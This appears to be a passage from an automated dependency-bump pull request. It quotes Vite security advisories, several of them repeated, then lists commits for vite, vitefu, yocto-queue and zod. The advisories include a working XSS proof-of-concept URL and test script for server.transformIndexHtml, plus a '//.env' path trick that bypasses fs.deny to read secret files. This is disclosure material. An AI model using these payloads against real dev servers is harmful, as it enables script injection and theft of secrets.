server.transformIndexHtml, the original request URL is passed in unmodified, and thehtmlbeing transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string toserver.transformIndexHtml.Impact
Only apps using
appType: 'custom'and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.Patches
Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12
Details
Suppose
index.htmlcontains an inline module script:<script type="module"> // Inline script </script>This script is transformed into a proxy script like
<script type="module" src="/index.html?html-proxy&index=0.js"></script>due to Vite's HTML plugin:
vite/packages/vite/src/node/plugins/html.ts
Lines 429 to 465 in 7fd7c6c
When
appType: 'spa' | 'mpa', Vite serves HTML itself, andhtmlFallbackMiddlewarerewritesreq.urlto the canonical path ofindex.html,vite/packages/vite/src/node/server/middlewares/htmlFallback.ts
Lines 44 to 47 in 73ef074
so the
urlpassed toserver.transformIndexHtmlis/index.html.However, if
appType: 'custom', HTML is served manually, and ifserver.transformIndexHtmlis called with the unmodified request URL (as the SSR docs suggest), then the path of the transformedhtml-proxyscript varies with the request URL. For example, a request with path/produces<script type="module" src="/@id/__x00__/index.html?html-proxy&index=0.js"></script>It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like
"></script><script>alert('boom')</script>so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like
<script type="module" src="/@id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>which demonstrates XSS.
PoC
- Example 1. Serving HTML from
vite devmiddleware withappType: 'custom'
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev-html
- "Open in New Tab"
- Edit URL to set query string to
?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3Eand navigate- Witness XSS:
- Example 2. Serving HTML from SSR-style Express server (Vite dev server runs in middleware mode):
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=server
- (Same steps as above)
- Example 3. Plain
vite dev(this shows that vanillavite devis not vulnerable, providedhtmlFallbackMiddlewareis used)
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev
- (Same steps as above)
- You should not see the alert box in this case
Detailed Impact
This will probably predominantly affect development-mode SSR, where
vite.transformHtmlis called using the originalreq.url, per the docs:Lines 114 to 126 in 7fd7c6c
However, since this vulnerability affects
server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls toserver.transformIndexHtmlfrom outside of Vite's own codebase.My best guess at bisecting which versions are vulnerable involves the following test script
import fs from 'node:fs/promises'; import * as vite from 'vite'; const html = ` <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> </head> <body> <script type="module"> // Inline script </script> </body> </html> `; const server = await vite.createServer({ appType: 'custom' }); const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html); console.log(transformed); await server.close();and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).
๐จ Vite XSS vulnerability in `server.transformIndexHtml` via URL payload
Summary
When Vite's HTML transformation is invoked manually via
server.transformIndexHtml, the original request URL is passed in unmodified, and thehtmlbeing transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string toserver.transformIndexHtml.Impact
Only apps using
appType: 'custom'and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.Patches
Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12
Details
Suppose
index.htmlcontains an inline module script:<script type="module"> // Inline script </script>This script is transformed into a proxy script like
<script type="module" src="/index.html?html-proxy&index=0.js"></script>due to Vite's HTML plugin:
vite/packages/vite/src/node/plugins/html.ts
Lines 429 to 465 in 7fd7c6c
When
appType: 'spa' | 'mpa', Vite serves HTML itself, andhtmlFallbackMiddlewarerewritesreq.urlto the canonical path ofindex.html,vite/packages/vite/src/node/server/middlewares/htmlFallback.ts
Lines 44 to 47 in 73ef074
so the
urlpassed toserver.transformIndexHtmlis/index.html.However, if
appType: 'custom', HTML is served manually, and ifserver.transformIndexHtmlis called with the unmodified request URL (as the SSR docs suggest), then the path of the transformedhtml-proxyscript varies with the request URL. For example, a request with path/produces<script type="module" src="/@id/__x00__/index.html?html-proxy&index=0.js"></script>It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like
"></script><script>alert('boom')</script>so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like
<script type="module" src="/@id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>which demonstrates XSS.
PoC
- Example 1. Serving HTML from
vite devmiddleware withappType: 'custom'
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev-html
- "Open in New Tab"
- Edit URL to set query string to
?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3Eand navigate- Witness XSS:
- Example 2. Serving HTML from SSR-style Express server (Vite dev server runs in middleware mode):
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=server
- (Same steps as above)
- Example 3. Plain
vite dev(this shows that vanillavite devis not vulnerable, providedhtmlFallbackMiddlewareis used)
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev
- (Same steps as above)
- You should not see the alert box in this case
Detailed Impact
This will probably predominantly affect development-mode SSR, where
vite.transformHtmlis called using the originalreq.url, per the docs:Lines 114 to 126 in 7fd7c6c
However, since this vulnerability affects
server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls toserver.transformIndexHtmlfrom outside of Vite's own codebase.My best guess at bisecting which versions are vulnerable involves the following test script
import fs from 'node:fs/promises'; import * as vite from 'vite'; const html = ` <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> </head> <body> <script type="module"> // Inline script </script> </body> </html> `; const server = await vite.createServer({ appType: 'custom' }); const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html); console.log(transformed); await server.close();and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).
๐จ Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)
The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (
//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your
vite.config.jsfile, review and update the server configuration options to restrict access to unauthorized requests or directories.Impact
Only users explicitly exposing the Vite dev server to the network (using
--hostor theserver.hostconfig option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.Details
Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using
pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g://.env,//.env.local)\n4. The server optionfs.denywas successfully bypassed.
๐จ Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)
The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (
//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your
vite.config.jsfile, review and update the server configuration options to restrict access to unauthorized requests or directories.Impact
Only users explicitly exposing the Vite dev server to the network (using
--hostor theserver.hostconfig option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.Details
Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using
pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g://.env,//.env.local)\n4. The server optionfs.denywas successfully bypassed.
๐จ Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)
The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (
//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your
vite.config.jsfile, review and update the server configuration options to restrict access to unauthorized requests or directories.Impact
Only users explicitly exposing the Vite dev server to the network (using
--hostor theserver.hostconfig option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.Details
Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using
pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g://.env,//.env.local)\n4. The server optionfs.denywas successfully bypassed.
๐จ Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)
The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (
//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your
vite.config.jsfile, review and update the server configuration options to restrict access to unauthorized requests or directories.Impact
Only users explicitly exposing the Vite dev server to the network (using
--hostor theserver.hostconfig option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.Details
Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using
pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g://.env,//.env.local)\n4. The server optionfs.denywas successfully bypassed.
๐จ Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)
The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (
//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your
vite.config.jsfile, review and update the server configuration options to restrict access to unauthorized requests or directories.Impact
Only users explicitly exposing the Vite dev server to the network (using
--hostor theserver.hostconfig option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.Details
Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using
pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g://.env,//.env.local)\n4. The server optionfs.denywas successfully bypassed.
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 22 commits:
release: v8.1.5release: plugin-legacy@8.2.1fix(optimizer): respect importer module format for dynamic import interop with CJS deps (#22951)fix(client): overlay error message format align rolldown (#22869)docs(static-deploy): fix links for Vercel deployment environments (#22952)fix(module-runner): don't crash stack-trace source mapping when globalThis.Buffer is absent (#22945)fix(legacy): don't use newer syntax when minifying polyfill chunks (#22939)fix(bundled-dev): avoid duplicated `buildEnd` (#22931)docs(build): fix incorrect `@default` for build.cssMinify (#22948)fix(ssr): scope switch-case declarations to the switch, not the function (#22893)test: return empty object for `browser: false` mapped modules (#22842)test(css): cover stale manifest after asset deduplication (#22927)docs(features): fix subject-verb agreement (#22862)fix(deps): update all non-major dependencies (#22921)fix(deps): update rolldown-related dependencies (#22922)chore(deps): update dependency feed to v6 (#22924)docs(build): fix incorrect `@default` for build.lib.formats (#22911)chore: remove outdated pnpm configuration (#22914)test: avoid scanner scanning all files under `__tests__` (#22912)docs(static-deploy): update xmit guide URL (#22899)docs: fix stale 'http-proxy' reference in proxy configure example (#22908)release: plugin-legacy@8.2.0
โ๏ธ vitefu (indirect, 0.2.2 โ 1.1.3) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 37 commits:
Release v1.1.3chore: update to vite 8 stablefix: sort result arrays to ensure they are deterministic (#30)Release v1.1.2feat: extend peer dependency range to include vite 8 (#28)release 1.1.1 (#27)fix: ensure isPrivateWorkspacePackage works on windows (#26)release 1.1.0 (#25)feat: add workspaceRoot option to crawl (#23)Release 1.0.7 (#22)feat: extend peer dependency range to include vite7 (#21)Release v1.0.6Handle `ssr.external: true` for `isDepExternaled` (#19)Fix corepack CI issue (#20)Release v1.0.5Don't require `package.json` to exist for `crawlFrameworkPkgs` (#16)Fix broken dts link in readme (#17)Release v1.0.4Remove -beta.2 from vite 6 peerDeps (#14)Release v1.0.3Bump vite to fix vulnerabilityAllow Vite 6 beta peer dependency (#13)Release v1.0.2Fix ESM and CJS types (#12)Release v1.0.1Fix ESM typesRelease v1.0.0Fix typesRemove TLA and export proper types (#10)chore: refactor ci to use corepack and package manager via matrix (#11)Release v0.2.5Allow Vite 5 peer dependencyMatch findDepPkgJsonPath implementation to Vite (#9)Release v0.2.4Use `node:fs` version of `realpath` (#7)Release v0.2.3Allow Vite 4 peer dependency
โ๏ธ yocto-queue (indirect, 0.1.0 โ 1.2.2) ยท Repo
Release Notes
1.2.2
- Fix: Clean up tail reference when queue empties 8aead27
1.2.1
1.2.0
1.1.1
- Fix Node.js 12 compatibility 90ab935
1.1.0
- Add
.peek()method 5bf850c
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 15 commits:
1.2.2Fix: Clean up tail reference when queue empties1.2.1Do not ignore `undefined` values while draining (#13)1.2.0Add `.drain()` method (#12)1.1.1Fix Node.js 12 compatibility1.1.0Add `.peek()` methodMeta tweaksMeta tweaks1.0.0Require Node.js 12.20 and move to ESMAdd comment about how it works (#2)
โ๏ธ zod (indirect, 3.19.1 โ 4.4.3) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ Zod denial of service vulnerability
Zod version 3.22.2 allows an attacker to perform a denial of service while validating emails.
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 10 commits:
docs: document release procedure in AGENTS.md4.4.3fix(v4): generalize optin/fallback to transform; restore preprocess on absent keys (#5941)fix(v4): restore catch handling for absent object keys (#5937) (#5939)docs: remove Numeric and Speakeasy (2+ missed monthly cycles)docs: remove Mintlify from bronze sponsors (churned)docs: normalize bronze sponsor logos to github avatar patterndocs: prune lapsed silver/bronze sponsors and add active onesdocs: prune lapsed gold sponsors and rebalance logo sizingdocs: use Zernio primary wordmark for gold sponsor logo






























































